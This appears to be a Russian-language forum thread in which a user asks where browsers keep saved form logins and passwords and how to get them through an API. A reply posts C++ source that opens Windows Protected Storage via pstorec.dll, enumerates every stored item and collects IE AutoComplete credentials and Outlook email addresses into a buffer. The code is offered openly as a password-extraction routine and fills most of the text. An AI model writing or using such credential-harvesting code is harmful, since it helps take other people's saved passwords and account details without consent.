пароли и имена при вводе в формах на сайтах. может кто знает где хранится? еще я слышал что эти данные можно получать с помощью API. подскажите где копать
В Protected Storage хранятся... вот нашел код, выдирающий пассы оттуда Код (Text): int GetPSPasswords() { typedef HRESULT (WINAPI *PStoreCreateInstancePtr)(IPStore **, DWORD, DWORD, DWORD); PStoreCreateInstancePtr PStoreCreateInstance; HMODULE hPstoreDLL; HRESULT hRes; IPStorePtr spPStore; IEnumPStoreTypesPtr spEnumTypes,spEnumSubTypes; IEnumPStoreItemsPtr spEnumItems; GUID typeGUID,subtypeGUID; _PST_TYPEINFO *typeinfo; unsigned long typesFetched,subtypesFetched,itemsFetched; LPWSTR item; DWORD dwFlags=0; DWORD cbdata,n=0; char *bdata; bool its_str,its_wstr; memset(Buf,'\0',sizeof(Buf)); hPstoreDLL=LoadLibrary("pstorec.dll"); PStoreCreateInstance=(PStoreCreateInstancePtr)GetProcAddress(hPstoreDLL, "PStoreCreateInstance"); hRes=PStoreCreateInstance(&spPStore, 0, 0, 0); hRes=spPStore->EnumTypes(0,0,&spEnumTypes); do { hRes=spEnumTypes->raw_Next(1,&typeGUID,&typesFetched); if (!typesFetched) break; hRes=spPStore->GetTypeInfo(0,&typeGUID,&typeinfo,0); hRes=spPStore->EnumSubtypes(0,&typeGUID,0,&spEnumSubTypes); do { hRes=spEnumSubTypes->raw_Next(1,&subtypeGUID,&subtypesFetched); if (!subtypesFetched) break; hRes=spPStore->GetTypeInfo(0,&typeGUID,&typeinfo,0); hRes=spPStore->EnumItems(0,&typeGUID,&subtypeGUID,0,&spEnumItems); do { hRes=spEnumItems->raw_Next(1,&item,&itemsFetched); if (!itemsFetched) break; if(wcsstr(item,L"StringIndex") || wcsstr(item,L"IdentitiesPass")) continue; if(wcsstr(typeinfo->szDisplayName,L"Identification") && !strstr(Buf,"\n\nOutlook Info:\n\n")) { if(RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Internet Account Manager\\Accounts",&hKey)==ERROR_SUCCESS) { strcat(Buf,"\n\nOutlook Info:\n\n"); memset(sbuf,'\0',sizeof(sbuf)); dw=RegEnumKey(hKey,n++,sbuf,sizeof(sbuf)); while (dw==ERROR_SUCCESS) { if (RegOpenKey(hKey,sbuf,&hKey2)==ERROR_SUCCESS) { memset(sbuf2,'\0',sizeof(sbuf2)); dw2=sizeof(sbuf2); if (RegQueryValueEx(hKey2,"SMTP Email Address",0,NULL,(LPBYTE)sbuf2,&dw2)==ERROR_SUCCESS) { strcat(Buf,sbuf2); strcat(Buf,"\n"); } RegCloseKey(hKey2); } memset(sbuf,'\0',sizeof(sbuf)); dw=RegEnumKey(hKey,n++,sbuf,sizeof(sbuf)); } RegCloseKey(hKey); } } if(wcsstr(typeinfo->szDisplayName,L"Internet Explorer") && !strstr(Buf,"\n\nIE AutoComplete Info:\n\n")) { strcat(Buf,"\n\nIE AutoComplete Info:\n\n"); } memset(sbuf,'\0',sizeof(sbuf)); WideCharToMultiByte(CP_ACP,dwFlags,item,wcslen(item),sbuf,sizeof(sbuf),NULL,NULL); if (strstr(sbuf,"StringData") && !strstr(sbuf,"http://")) continue; //фильтрация item if (pstr=strstr(sbuf,"StringData")) { *--pstr='\0'; strcat(Buf,sbuf); strcat(Buf,"\n"); } else { strcat(Buf,sbuf); strcat(Buf," : "); } hRes=spPStore->ReadItem(0,&typeGUID,&subtypeGUID,item,&cbdata,(LPBYTE*)&bdata,NULL,0); if (!IsBadStringPtr(bdata,cbdata)) { its_str=(strlen(bdata)==cbdata-1); its_wstr=(wcslen((LPWSTR)bdata)==cbdata-1); } if (its_str) { strcat(Buf,bdata); strcat(Buf,"\n"); } else if (its_wstr) { memset(sbuf,'\0',sizeof(sbuf)); WideCharToMultiByte(CP_ACP,dwFlags,(LPWSTR)bdata,strlen(bdata),sbuf,sizeof(sbuf),NULL,NULL); strcat(Buf,sbuf); strcat(Buf,"\n"); } else PSHexPrint(bdata,cbdata); } while (1); } while (1); } while (1); return 1; } void PSHexPrint(char *buf, int size) { char ch[2]="\0"; int nul=0; for (int i=0;i<size;i++) { int z=(unsigned char)buf[i]; if(z==0) { int z=(unsigned char)buf[i+1]; if(z==0) { nul++; if(fmod(nul,2)) { if(!(size==i+3)) strcat(Buf," : "); } else strcat(Buf,"\n"); i+=2; } continue; } sprintf(ch,"%c",z); strcat(Buf,ch); } }